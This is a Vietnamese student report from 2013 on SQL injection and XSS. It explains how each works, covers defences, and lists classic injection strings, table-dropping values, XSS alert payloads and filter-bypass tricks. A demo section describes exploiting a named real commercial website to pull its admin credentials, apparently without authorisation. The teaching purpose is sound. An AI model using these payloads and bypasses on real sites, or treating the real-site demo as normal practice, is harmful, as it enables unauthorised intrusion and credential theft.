TRƯỜNG HỌC VIỆN KỸ THUẬT MẬT MÃ

KHOA AN TOÀN THÔNG TIN

------

Bài tập Môn Công Nghệ Mạng Tên đề tài:

Tìm hiểu về lỗ hổng web và cách phòng chống

Thực hiện: Vũ Trung Kiên

Lê Thị Liên

Nguyễn Phương Duy

Lớp : AT9C

Chuyên ngành: An toàn thông tin

Trường: HV Kỹ Thuật Mật Mã

Hà nội, 2013

1

Mục Lục

Chương 1: Tổng quan về website, các dịch vu trên website và lỗi bảo mật

thông dụng

1, Mô tả website và cách hoạt động

2, Các dịch vụ và ứng dụng trên nền web

Chương 2: Lỗ hổng Injection

1, Injection

2, SQL Injection

2.1, Khái niệm

2.2, Các lỗi Sql injection thường gặp

2.3, Cách phòng chống

2.4, Demo khai thác lỗ hổng sql injection

Chương 3: Lỗ hổng XSS

1, XSS là gì?

2, Hiện trạng và mức độ nguy hiểm của XSS

3. Nguyên lý hoạt động của XSS

4. Phân loại XSS

5. Phương pháp check site kiểm tra lỗi XSS

6. Kĩ thuật tấn công

7. Phòng chống XSS

2

Chương 1: Tổng quan về website, các dịch vu trên website và lỗi bảo mật

thông dụng

1, Mô tả website và cách hoạt động

Website là một “trang web” trên mạng internet, đây là nơi giới thiệu những

thông tin, hình ảnh về doanh nghiệp và sản phẩm, dịch vụ của doanh nghiệp (hay

giới thiệu bất cứ thông tin gì) để khác hàng có thể truy cập ở bất kì đâu, bất cứ lúc

nào.

Website là tập hợp nhiều trang [web page]. Khi doanh nghiệp xây dựng

website nghĩa là đang xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ...Để

tạo nên một website cần có 3 yếu tố cơ bản:

* Cần phải có tên miền (domain).

* Nơi lưu trữ website (hosting).

* Nội dung các trang thông tin [web page].

Một số thuật ngữ cơ bản:

Website động (Dynamic website) là website có cơ sở dữ liệu, được cung cấp

công cụ quản lí website (Admin Tool). Đặc điểm của website động là tính linh hoạt và

co thể cập nhật thông tin thường xuyên, quản lí các thành phần trên website dễ

dàng. Loại website này thường được viết bằng các ngôn ngữ lập trình như PHP,

Asp.net, JSP, …., quản trị Cơ sở dữ liệu bằng SQL hoặc MySQL...

Website tĩnh do người lập trình băng ngôn ngữ HTML theo từng trang như

brochure, không có cơ sở dữ liệu và không có công cụ quản lí thông tin trên website.

Thông thường website tĩnh được thiết kế bằng các phần mềm như FrontPage,

Dreamwaver,....Đặc điểm của website tĩnh là ít thay đổi nội dung, sự thay đổi nội

dung này thường liên quan đến sự thay đổi văn bản đi kèm thể hiện nội dung trên đó.

Hiện nay hầu hết các doanh nghiệp đều sử dụng website động, thế nên công

nghệ website được mọi người biết đến là web 2.0.

- Tên miền (domain): Tên miền chính là địa chỉ website, trên internet chỉ tồn tại duy

nhất 1 địa chỉ (tức là tồn tại duy nhất một tên miền). Có 2 loại tên miền:

3

+ Tên miền Quốc tế: là tên miền có dạng .com; .net; .org; .biz; .name.....

+ Tên miền Việt Nam: là tên miền có dạng .vn; .com.vn; .net.vn; .org.vn;

.gov.vn....

- Lưu trữ website: Dữ liệu thông tin của website phải được lưu trữ trên một máy tính

(máy chủ – server) luôn hoạt động và kết nối với mạng internet. Một server có thể lưu

trữ nhiều tên website, nếu server này bị sự cố chẳng hạn tắt trong 1 thời điểm nào đó

thì không ai co thể truy cập được những website lưu trữ trên server tại thời điểm bị sự

cố.

- Tùy theo nhu cầu lưu trữ thông tin mà doanh nghiệp có thể thuê dung lượng host

thích hợp cho website.

- Dung lượng host: là nơi để lưu trữ cơ sở dữ liệu của website (hình ảnh, thông

tin,......), đơn vị đo dung lượng thường là Mb hoặc Gb.

- Băng thông hay dung lượng đường truyền: Là tổng số Mb dữ liệu tải lên máy chủ

hoặc tải về từ máy chủ (download, upload) nơi đặt website, đơn vị đo thông thường là

Mb/Tháng.

2, Các dịch vụ và ứng dụng trên nền web

Với công nghệ hiện nay, website không chỉ đơn giản là một trang tin cung cấp

các tin bài đơn giản. Những ứng dụng viết trên nền web không chỉ được gọi là một

phần của website nữa, giờ đây chúng được gọi là phần mềm viết trên nền web. Có

rất nhiều phần mềm chạy trên nền web như Google word (xử lí văn bản), Google

spreadsheets (xử lí bảng tính), Email.....

Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web:

+ Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt chạy phần mềm.

+ Phần mềm luôn luôn được cập nhật vì chúng chạy trên server.

+ Luôn sẵn sàng 24/7.

+ Dễ dàng backup dữ liệu thường xuyên.

+ Có thể truy cập mọi lúc, mọi nơi, miễn là bạn có mạng.

+ Chi phí triển khai cực rẻ so với phần mềm chạy trên Desktop

Hãy hình dung bạn có 1 một phần mềm ở công ty, với phần mềm viết trên nền

web, bạn có thể vào kiểm tra, điều hành ở bất cứ đâu, thậm chí bạn chỉ cần 1 chiếc

4

điện thoại chạy được trình duyệt như Iphone mà không cần đến 1 chiếc máy tính.

Chương 2: Các loại lỗ hổng website và các phòng chống.

1, Lỗ hổng Injection

Lỗ hổng (nôm na về bảo mật) cho phép tin tặc có thể có ý định tấn công hoặc thay

đổi mã thông qua ứng dụng web tới một hệ thông khác. Những tấn công này bao

gồm cả việc tác động đến hoạt động của hệ thông chính thông qua các thông báo hệ

thông, sử dụng những chương trình mở rộng thông qua những dòng shell, làm sao để

truy nhập và dữ liệu đâu cuồi cuối thông qua SQL( ví dụ như lỗ hổng SQL). Toàn bộ

những dòng scripts được viết = perl,python và các ngôn ngữ khác có thể được áp

dụng đối với những người thiết kế web ở trình độ không cao và thực thi nó trên hệ

thông. Bất kì khi nào một ứng dụng web sử dụng một công cụ thông dịch ở bất kì

dạng nào đều có thể có nguy bị tấn công lỗ hổng bảo mật.

Rất nhiều ứng dụng web sử dụng các tính năng hệ thống và những ngôn ngữ mở

rộng dể diễn tả các thuật toán của chúng. Gửi mail là d có lẽ dẫn chứng tốt nhất cho

việc sử dụng các chương trình mở rộng, nhưng rất nhiều chương trình khác cũng đã

được sử dụng. Khi một ứng dụng web truyền tảo thông tin từ một yêu cầu của HTTP

thông qua một phần nào đó từ yêu cầu mở rộng ( hiểm nôm na nó link chuyển

tiếp),nó phải được kiểm soát một cách cẩn thận. Mặt khác, tin tặc có thể tấn công

thông qua các siêu dữ liệu, từ các mã hộ, hoặc mã được đã sửa đổi lại thông. tin của

ứng dụng web và ứng dụng web sẽ chạy ẩn thông qua các ứng dụng mở rộng của hệ

thống.

Lỗ hổng SQL là một dạng đặc biệt được lan rộng và là dạng nguy hiểm trong sự tấn

công. Để khai thác dược lỗ hổng SQL, tin tắc phải tìm được các tham biến mà ứng

dụng web truyền tải thông qua database. Bằng việc cẩn thận gắn các mã độc vào cái

tham biến, tin tắc có thể trick ứng dụng web thông qua việc chuyển tiến các truy vấn

mang mã độc tới hệ thống. Các tất công này không để giải quyết và có nhiều tool có

thể phát hiện ra chúng. Kết quả của nó là tin tắc có thể chiếm dụng, phá hỏng nội

dung database. Tấn công vào các lỗ hổng rất dễ khám phá và khai thắc, nhưng

chúng rất khó để tìm ra. Kết quả có thể chỉ chiếm được 1 vùng dữ liệu, từ những thứ

không quan trọng ( dữ liệu vớ vẩn) cho đến sự chiếm dụng hệ thống hoặc phá hủy

nó. Trong một vài trường hợp, việc sử dụng các tác động (cuộc gọ) lan tương đối

5

rộng, vì thế nên việc thống kê các yuwngs dụng web đang chứa các lỗ hổng bảo mật

cần được quan tâm nhiều hơn.

2, SQL injection

2.1, khái niệm

SQL injection (còn gọi là SQL Injection) là một hình thức tấn công trong đó

truy vấn SQL của ứng dụng đã bị chèn thêm các tham số đầu vào “không an toàn”

do người dùng nhập vào, từ đó mã lệnh được gửi tới máy chủ database để phân tích

cú pháp và thực thi.

Hình thái chính là SQL Injection bao gồm việc chèn trực tiếp mã vào các tham

số mà sẽ được ghép vào các câu lệnh SQL (quá trình này gọi là sinh truy vấn SQL

động) để tạo thành truy vấn của ứng dụng gửi tới máy chủ database. Một cách tấn

công khác ít trực tiếp hơn, đó là chèn mã độc vào các xâu mà đích đến là việc lưu trữ

trong các bảng hoặc từ điển dữ liệu (metadata). Khi các chuỗi đó được ghép vào các

câu lệnh SQL thì đoạn mã đó sẽ được chạy.

Khi ứng dụng web thất bại trong việc lọc các tham số đầu vào (được dùng làm

nguyên liệu cho quá trình sinh SQL động ), ngay cả khi dùng hình thức tham số hóa

(parameterize) thì kẻ tấn công có thể dễ dàng điều chỉnh quá trình xây dựng truy vấn

SQL. Một khi kẻ tấn công có thể sửa câu truy vấn SQL, thì những truy vấn SQL anh

ta muốn sẽ được thực thi với quyền hạn của người sở hữu ứng dụng, và thiệt hại anh

ta có thể gây ra sẽ tùy theo quyền hạn được cấp.

SQL Injection là một dạng tấn công dễ thực hiện, hầu hết mọi thao tác người

tấn công cần thực hiện với một trình duyệt web, có thể kèm theo mootj ứng dụng

proxy server. Chính vì đơn giản như vậy cho nên bất cứ ai cũng có thể học cách tiến

hành 1 cuộc tấn công. Lỗi bắt nguồn từ mã nguồn của ứng dụng web chứ không phải

từ phía database, chính vì thế bất cứ thành phần nào của ứng dụng mà người dùng

có thể tương tác được để điều khiển nội dun (ví dụ: các form, tham số URL, cookie,

tham số referrer, user-agenbt,...) đều có thể được sử dụng để chèn truy vấn có hại.

2.2, Các lỗi sql injection thường gặp

Không kiểm tra ký tự thoát truy vấn

Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong

câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không

6

mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng

những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một

cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục

đích khác hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị

của biến userName như sau:

a' or 't'='t

Khiến câu truy vấn có thể được hiểu như sau:

SELECT * FROM users WHERE name = 'a' OR 't'='t';

Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được

sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng. Trong

khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một

lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép điều

đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các

câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn.

Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá

những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu

được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ

này minh họa bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:

a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't

Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT *

FROM DATA WHERE 't' = 't';

Xử lý không đúng kiểu

Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định

nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu

vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL

nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ

liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:

7

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào

một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập

vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu

truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến

a_variable là:

1;DROP TABLE users

khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì

câu truy vấn hoàn chỉnh đã được hiểu là:

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu

Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là

trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ

cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công

dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang

được thoát. Chữ đậm

Blind SQL injection

Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu

quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra

sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự

tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất

nhiều thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể

sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã

được thiết lập sẵn.

Thay đổi giá trị điều kiện truy vấn

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy

vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;

Sẽ hiển thị một trang một cách bình thường, trong khi:

8

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;

sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi

SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh

hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng

khác phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.

Điều kiện lỗi

Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá

khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:

SELECT 1/0 FROM users WHERE username='Ralph';

Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại

trong cơ sở dữ liệu.

Thời gian trễ

Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL

phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL

engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác

định thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.

2.3, Cách phòng chống Sqli Injection

2.3.1, Phòng chống từ mức xây dựng mã nguồn ứng dụng

Điểm yếu SQL Injection bắt nguồn từ việc xử lí dữ liệu từ người dùng không

tốt, do đó vấn đề xây dựng mã nguồn đảm bảo an ninh là cốt lõi của việc phòng

chống SQL Injection.

2.3.1.1. Làm sạch dữ liệu đầu vào

a, Mô hình danh sách cho phép – Whitelist

Mô hình whitelist liệt kê danh sách những giá trị input nào được cho phép,

chính vì thế khi xây dựng nó đòi hỏi người phát triển phải hiểu rõ logic nghiệp vụ của

ứng dụng được xây dựng. Một số đặc điểm của input mà mô hình này chú ý tới như

kiểu dữ liệu, độ dài, miền dữ liệu hoặc 1 số định dạng chuẩn khác. Các điều kiện này

phụ thuộc nhiều vào logic nghiệp vụ và thỏa thuận với người sử dụng phụ. Phương

pháp dơn giản và hiệu quả nhất để xây dựng các mẫu (pattern) hợp lệ là sử dụng

9

biểu thức chính quy (regular expression).

B, Mô hình danh sách cấm – Backlist

Mô hình này xây dựng nên các mẫu input được cho là nguy hiểm và sẽ không

chấp nhận những mẫu này. Mô hình backlist kém hiệu quả hơn mô hình whitelist do

1 vài lý do sau:

- Số lượng khả năng xảy ra của một input xấu rất lớn, không thể xét đủ được

- Khó cập nhật các mẫu này

Ưu điểm của mô hình này so với whitelist đó là việc xây dựng đơn giản hơn.

Thông thường mô hình này không nên sử dụng 1 mình, để đảm bảo an ninh nên sử

dụng whitelist nếu có thể. Nếu sử dung backlist nhất thiết cần mã hóa output để giảm

thiểu nguy cơ rò rỉ thông tin về những mẫu mà mô hình này bỏ sót.

Một điều cần chú ý hơn đối với việc sử dụng các mô hình blacklist và whitelist,

đó là các mẫu này nên được xử lí ở phía client (trực tiếp tai trình duyệt) nếu có thể.

Tuy sử lí ở trình duyệt nhưng điều đó không có nghĩa là đảm bảo an toàn cho input

đó, cần thực hiện các phép làm sạch ở các mức tiếp theo.

2.3.1.2. Chuẩn hóa dữ liệu

Để thuận lợi cho quá trình kiểm tra dữ liệu đầu vào đầu ra, chúng ta cần xây

dựng các mô hình các mô hình chuẩn hóa dữ liệu dưới 1 dạng đơn giản. Một mô hình

chuẩn hóa dữ liệu dưới 1 dạng đơn giản. Một mô hình có thẻ xem xét như, ban đầu

giải mã dưới dạng URL, sau đó giải mã dưới dạng HTML, có thể thực hiện vài lần.

Tuy nhiên có thể sẽ tin cậy hơn nếu chúng ta chỉ thực hiện giải mã theo định dạng

phổ biến nhất nào đó đúng hơn 1 lần nếu phát hiện dấu hiệu nghi vấn, lập tức từ chối

dữ liệu đó.

2.3.2. Các biện pháp bảo vệ từ mức nền tảng hệ thống

Các biện pháp phòng chống từ mức nền tảng hệ thống (platform-level) là

những biện pháp cải tiến trong thời gian hoạt động (runtime) hoặc các thay đổi trong

cấu hình sao cho có thể nâng cao mức đô an ninh tổng thể của ứng dụng.

Một điều luôn cần ghi nhớ, đó là các giải pháp mức nền tảng hệ thống không

10

thể thay thế cho việc xây dựng mã nguồn ứng dụng an toàn, chúng chỉ có tác dụng

hỗ trợ. Một database cấu hình tốt không ngăn chặn được SQL Injection nhưng sẽ

khiến chúng gặp khó khăn khi lợi dung điểm yếu ứng dụng để khai thác database,

một bộ lọc an ninh có thể được sử dụng tạm thời như 1 bản vá ảo(virtual patch) từ khi

phát hiện lỗ hổng đến khi đội phát triển ứng dụng khắc phục được lỗ hổng đó. Các bộ

lọc có thể được xây dựng nhanh chóng hơn và có thể phòng tránh được những lỗ

hổng trong giai đoạn Zero-day của cuộc tấn công. Và có thể khẳng định rằng, an

ninh mức nền tảng là 1 thành phần quan trọng trong chiến lược an ninh tổng thể của

ứng dụng.

2.3.2.1. Các biện pháp bảo vệ tức thời

Những biện pháp bảo vệ tưc thời là những biện pháp có thẻ áp dụng mà

không cần phải thực hiện biên dịch lại mã nguồn của ứng dụng. Các biện pháp bảo

vệ trong thời gian hoạt động là các công cụ hữu ích nhằm phòng tránh việc lợi dụng

các điểm yếu SQL Injection đã được xác định.

Việc thực hiện sửa lỗi trong mã nguồn ứng dung luôn là một giải pháp triệt để

nhưng không phải luôn thực hiện được với khả năng và chi phí có thể. Ngoài ra, với

các ứng dụng thương mại, hầu hết chúng được phát hành với bản hoàn chỉnh đã biên

dịch chứ không phải ở dạng mã nguồn. Và ngay cả khi có mã nguồn thì việc thực

hiện chỉnh sửa nó hàu hết đều vi phạm các điều khoản sử dụng các biện pháp bảo

vệ trọng thời gian hoạt động có thể là giải pháp dạng bản-vá-ảo tạm thời trước khi

việc sửa lỗi trong mã nguồn ứng dụng hoàn chỉnh.

Ngay cả khi thời gian, tài nguyên cần thiết cho phép việc vá lỗi trong mã

nguồn, các biện pháp bảo vệ trong thời gian chạy vẫn là một lớp an ninh có giá trị

cho việc phát triển hoặc ngăn chặn những điểm yếu SQL Injection chưa biết tới. Điều

này sẽ dễ nhận thấy khi mà ứng dụng chưa từng chải qua các đánh giá, thử nghiệm

bảo mật, hoặc chưa từng bị các cược tấn công SQL Injection - những điều mà rất

phổ biến trong hoạt động phát triển ứng dụng Web ở nước ta hiện nay. Rõ ràng, đây

là những tiền đề cho việc khai thác các lỗi zero-day cũng như các lỗi SQL khác phát

tán từ internet.

2.3.2.2. Các biện pháp bảo vệ database

11

Các biện pháp bảo vệ chính database nhằm đề phòng những trường hợp xấu,

khi ke tấn công đã khai thác được nhiều điểm yếu, và từ đó có thể điều khiển các

hoạt động của database nhằm ăn cắp dữ liệu hoặc làm bàn đạp thâm nhập vào hệ

thống bên trong, đằng sau database.

A, giới hạn phạm vi ảnh hưởng của úng dụng

Các biện pháp này được chuẩn bị, đè phòng cho tình huống xấu nhất khi ke

tân công có thể thâm nhập được vào database:

- cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database

- Hủy bỏ các quyền PUBLIC: các database thường cung cấp 1 số chế độ mặc định

cho tất cả các đăng nhập, các chế độ này có 1 tập mặc định các quyền, bao gồm cả

việc truy cập tới 1 số đối tượng thuộc hệ thống. Các chế độ công khai này đôi khi

cung cấp những quyền truy cập tới những stored procedure có sẵn, 1 số các gói,

hoặc các hàm có thể sử dụng cho mục đích quản trị. Vì vậy cần hủy quyền dạng này

tới mức tối đa có thể.

- Sử dụng các thuật toán mã hóa mạnh để mã hóa và lưu trữ những dữ liệu nhạy

cảm.

B, giới hạn phạm vi ảnh hưởng của database

Các biện pháp ở mức này được chuẩn bị, đề phòng cho tình huống kẻ tấn

công chiếm được quyền điều khiển database:

- Khóa các quyền truy cập tới các đối tượng có đặc quyền, ví dụ những tiện ích quản

tri, tiện ích thực thi gián tiếp các lệnh phía hệ điều hành, hoặc các tiện ích sinh các

kết nối tới các đối tượng, database khác.

- Hạn chế các truy vấn đặc biệt: câu lệnh OPENROWSET trong SQL server la 1 vi

dụ. Việc sử dụng câu lệnh này có thể giúp kẻ tấn công có thể cướp quyền truy vấn,

và thực hiện các kết nối tới database khác dưới chế độ xác thực lỏn lẻo hơn.

2.4 Demo khai thác lỗi sql injection

- Sử dụng trang http://caycanhphutho.com.vn làm đối tượng khai thác.

- Công cụ sử dụng : Trình duyệt FireFox và add on Hackbar của FireFox

12

B1: Truy cập vào website

hình 1.1: website http://caycanhphutho.vn ban đầu

B2: Kiểm tra xem trang có lỗi SQL Injection không.

Hình 1.2: Kiểm tra trang bị lỗi SQL injection không.

B3: Thực hiện câu lệnh khai thác lỗi SQL injection

13

Hình 1.3: Thực hiện lệnh order by …...

Hình 1.4: Thực hiện lệnh UNION SELECT …. (tìm ra cột bị lỗi là 3 và 6)

14

Hình 1.5: Kiểm tra version (tìm được version 5.5.27)

Hình 1.6: Kiểm tra user (tìm được user haisandaiduo_db@localhost)

15

Hình 1.7: Kiểm tra database (tìm được database haisandaiduo_db)

Hình 1.8: Truy vấn đến table CSDL

16

Hình 1.9: Truy vấn đến cột trong table CSDL để tìm thông tin

B4: Kết quả đạt được

Hình 1.10: Kết quả là lấy được user và password của admin

17

Chương 3: Lỗ hổng XSS

1. XSS là gì ?

Cross-Site Scripting (gọi tắt là XSS thay vì CSS để tránh nhầm lẫn với CSS –

Casscading Style Sheet của HTML )– là một trong những lỗ hổng của Web

Application phổ biến nhất hiên nay, băng cách chèn vào các website động (ASP,

PHP, CGI,…) những thẻ HTML, VBscript, ActiveX hoặc Flash nguy hiểm có khả

năng đánh cắp thông tin quan trọng như cookies, mật khẩu, password…của những

người đã truy cập vào website bị dính lỗi XSS.

2. Hiện trạng và mức độ nguy hiểm của XSS

Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến

nhất của Web Applications và mối đe dọa của chúng ngày càng lớn. Theo các báo

cáo về mức độ ảnh hưởng của các kĩ thuật tấn công khác nhau có thể thấy được

XSS chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác, và nó là một mối

nguy hiểm lớn đối với các website hiện nay.

Nếu như SQL injection tấn công vào cơ sở dữ liệu của website thì XSS lại tấn

công trực tiếp vào người dùng. Nó giúp hacker lấy cắp các Cookies hay mật khẩu

trực tiếp của người dùng, lừa đảo quản trị website, chiếm session…từ đó có thể đăng

nhập chiếm quyền điều khiển website. Nó cũng là cơ chế để tạo thành nhiều mã độc

hiện nay. Trong đó có các mã độc hack tài khoản facebook, gmail,… Ngoài ra, lỗi

XSS có thể giúp các hacker chèn link của mình vào website bị lỗi. Link đó có thể là

link quảng cáo hay spam thông thường hoặc cũng có thể là link độc, link có chứa

virut.

Vì chỉ chạy trên trình duyệt của client và chỉ hoạt động trên bề mặt website

nên không làm thay đổi mã nguồn, cơ sở dữ liệu của website trên sever.

3. Nguyên lý hoạt động của XSS

Khi website đã bị chèn các thẻ HTMl, Script, … của hacker nghĩa là đã gửi

18

các request từ máy client đến sever nhằm chèn vào đó các thông tin vượt quá tầm

kiểm soát của sever. Khi người sử dụng click vào một trong những link đó thì toàn bộ

cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker thông qua email hoặc

một file nào đó trên host đã được thiết lập từ trước hoặc dẫn tới một tràn fishing mà

hacker đã thiết lập từ trước hay bị cài đặt các chương trình diệt virus, Trojan,

backdoor trên máy victim tùy vào mệnh lệnh của hacker.

4. Phân loại XSS

XSS tồn tại hai hình thức là Stored XSS và Reflected XSS

­ Stored XSS là hình thức tấn công mà ở đó cho phép kẻ thấn công có thể

chèn một đoạn script nguy hiểm vào website của chúng ta thông qua một

chức năng nào đó ( ví dụ: viết lời bình, guestbook, gửi bài…)và được lưu lại

trong database ,để từ đó khi các thành viên khác truy cập vào website dính

mã độc từ kẻ tấn công nên gọi là Stored. Stored XSS phát sinh do chúng

ta không đọc dữ liệu do thành viên gửi lên một cách đúng đắn, khiến cho

mã độc lưu trữ vào database của website.

­ Reflected XSS: trong hình thức này, kẻ tấn công thường gắn thêm đoạn

mã độc vào URL của website chúng ta và gửi dến nạn nhân, nếu nạn nhân

truy cập vào URL đó thì sẽ bị dính mã đôc. Điều này xảy ra do ta không

chú ý filter inout từ URL của website mình.

5. Phương pháp check site kiểm tra lỗi XSS

Một site bất kì bao giờ cũng có một hoặc tất cả những phần sau: search

results, error messages, web-form,… chủ yếu lỗi XSS nằm ở đây, nói chung là XSS

có thể xảy ra ở những chỗ nào mà người dùng có thể nhập dữ liệu vào và sẽ nhận

được một cái gì đó.

Các bước tìm lỗi XSS cho một website:

Bước 1: Mở website cần tìm ra.

Bước 2: Bắt đầu kiểm tra, định vị 1 ô tìm kiếm hoặc một ô login form và gửi

19

thông tin đi (nhập thông tin và ấn submit hoặc login hoặc ok ), và nhập chữ vào

những ô này.

Bước 3: Xác định site có khả năng bị dính lỗi XSS hay không bằng cách xem

thông tin trả về. Có nhiều cách để kiểm tra, sau đây tôi xin trình bày một số cách phổ

biến như sau:

­ Cách 1 :

Bạn nhập một đoạn text “site đã bị dính lỗi XSS” . Nếu thông tin trả về

là 1 trong các kết quả sau :

- Không tìm thấy kết quả cho “site đã bị dính lỗi XSS”

- “site đã bị dính lỗi XSS” kết quả này không tồn tại«

- Your search for “site đã bị dính lỗi XSS” is not valid

Hay bất cứ một kết quả nào có liên quan đến “site đã bị dính lỗi XSS” . Kết

quả này cho thấy kết quả mà ta nhập vào không bị kiểm soát. Lợi dụng lỗi này

mà hacker có thể chèn thêm các đoạn mã gây hại vào.

- Cách 2:

Bạn nhập một đoạn mã Script như sau:

<script>alert(“XSS”)</script>

Và kết quả hiện lên là một khung thông báo có chữ “ XSS” thì site chắc chắn

20

site này đã bị dính lỗi XSS.

Nếu sử dụng thẻ HTML để kiểm tra, ta cũng có thể làm như sau:

+ Trong mục comment của site, ta gõ <b>error XSS</b>

+ Nếu dòng comment của ta hiện lên dòng chữ in đậm “error XSS” thì

100% site này dính lỗi XSS.

­ Cách 3 :

Đôi khi một số site dính lỗi XSS không thể tấn công bằng những

đoạn mã javascript đơn giản, bởi họ có các bộ lọc không cho phép tiêm

XSS. Lúc đó ta phải dùng đến kĩ thuật bypass (mã hóa kí tự ở dạng

char)

Một số phương pháp vượt bộ lọc phổ biến:

+ Bypass magic_quotes_gpc

+ Bypass with crytion in full html

+ bypass with Obfuscation

+ Bypass with trying around method

Cách làm:

• Bypass magic_quotes_gpc

+ Khi php.ini ấn mặc định magic_quotes_gpc=on, nó có nghĩa là sever

sẽ không cho phép ta dùng “và”. Vì vậy khi ta chèn <script>alert(“hello

world!”)</script> sẽ không được thực hiện vì vi phạm luật

+ Ta sẽ mã hóa sang ASCII: hello world!

(104,101,108,108,111,32,119,111,114,108,100,33)

<script>alert(String.fromCharCode(104,101,108,108,111,32,119,111,114,108,

100,33))</script>. Câu này hoàn toàn hợp lệ và không phạm luật.

• Bypass with cryption in full html

+ Chúng ta dùng các tool của urlencode của hackbar hoặc các tool

khác để mã hóa

+ Ví dụ: <script>alert(‘hello world!’)</script> . Nếu đường dẫn như vậy

gửi đến người dùng sẽ có thể không thành công vì người dùng không

tin tưởng vào đường link này để kích vào. Hơn nữa, nếu copy lại trên

21

trình duyệt và truy cập sẽ hiện cảnh báo về XSS. Vì vậy, kí tự sẽ được

hacker mã hóa để tránh người dùng nghi ngờ.

➨ %3Cscript%3Ealert%28%27hello%20world%21%27%29%3C

%2fscript%3E

Với cách này, kẻ tấn công sẽ gửi đường link tới người dùng, chờ người

dùng kích vào và kẻ tấn công có thể thực hiện các thao tác tiếp theo để

đánh cắp cookie, chiếm phiên kết nối người dùng tới máy chủ.

• Bypass with Obfuscation

+ Trường hợp này khi bộ lọc kiểm tra chuỗi alert, scipt,… Để vượt được

nó, ta chỉ cần làm sai lệch một tý, ví dụ: ALERt, ScRipt,…

• Bypass with trying around method (sử dụng các method)

+ Vấn đề này hay nhắc đến ở các khung tìm kiếm dùng thẻ input, lúc

này ta chỉ cần thêm “> (“> nghĩa là đóng thẻ input nếu như value nằm ở

cuối cùng) Sau đó chèn thêm <script>alert(“ hello world” )</script>

Ví dụ “><script>alert(“hello world”)</script>

